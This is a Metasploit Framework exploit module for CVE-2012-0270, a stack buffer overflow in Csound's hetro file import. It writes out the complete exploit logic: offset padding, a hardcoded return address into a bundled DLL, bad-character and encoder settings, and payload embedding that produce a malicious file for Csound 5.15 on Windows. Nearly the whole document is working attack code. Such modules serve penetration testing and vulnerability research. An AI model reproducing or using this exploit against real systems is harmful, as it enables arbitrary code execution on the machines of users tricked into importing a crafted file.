Csound hetro File Handling Stack Buffer Overflow

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = NormalRanking

 include Msf::Exploit::FILEFORMAT

 def initialize(info = {})
  super(update_info(info,
   'Name' => 'Csound hetro File Handling Stack Buffer Overflow',
   'Description' => %q{
     This module exploits a buffer overflow in Csound before 5.16.6.
    The overflow occurs when trying to import a malicious hetro file
    from tabular format.
    In order to achieve exploitation the user should import the malicious
    file through csound with a command like "csound -U het_import msf.csd file.het".
    This exploit doesn't work if the "het_import" command is used directly
    to convert the file.
   },
   'License' => MSF_LICENSE,
   'Author' =>
    [
     'Secunia', # Vulnerability discovery
     'juan vazquez' # Metasploit module
    ],
   'Version' => '$Revision: $',
   'References' =>
    [
     [ 'CVE', '2012-0270' ],
     [ 'OSVDB', '79491' ],
     [ 'BID', '52144' ],
     [ 'URL', 'http://secunia.com/secunia_research/2012-3/' ],
     [ 'URL', 'http://csound.git.sourceforge.net/git/gitweb.cgi?p=csound/csound5.git;a=commit;h=7d617a9551fb6c552ba16874b71266fcd90f3a6f']
    ],
   'Payload' =>
    {
     'Space' => 650,
     'BadChars' => "\x00\x0a\x1a\x2c\xff",
     'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff", # Stack adjustment # add esp, -3500
     'DisableNops' => 'True'
    },
   'Platform' => 'win',
   'Targets' =>
    [
     [ 'Csound 5.15 / Windows XP SP3 / Windows 7 SP1',
      {
       'Offset' => 132,
       'Ret' => 0x6e955446 # push esp #  ret / libgcc_s_dw2-1.dll
      }
     ],
    ],
   'Privileged' => false,
   'DefaultTarget' => 0,
   'DisclosureDate' => 'Feb 23 2012'))

  register_options(
   [
    OptString.new('FILENAME', [ false, 'The file name.', 'msf.csd']),
   ], self.class)
 end

 def exploit
  sploit = rand_text(target['Offset'])
  sploit << [target.ret].pack("V")
  sploit << payload.encoded
  print_status("Creating '#{datastore['FILENAME']}' file ...")
  file_create(sploit)
 end

end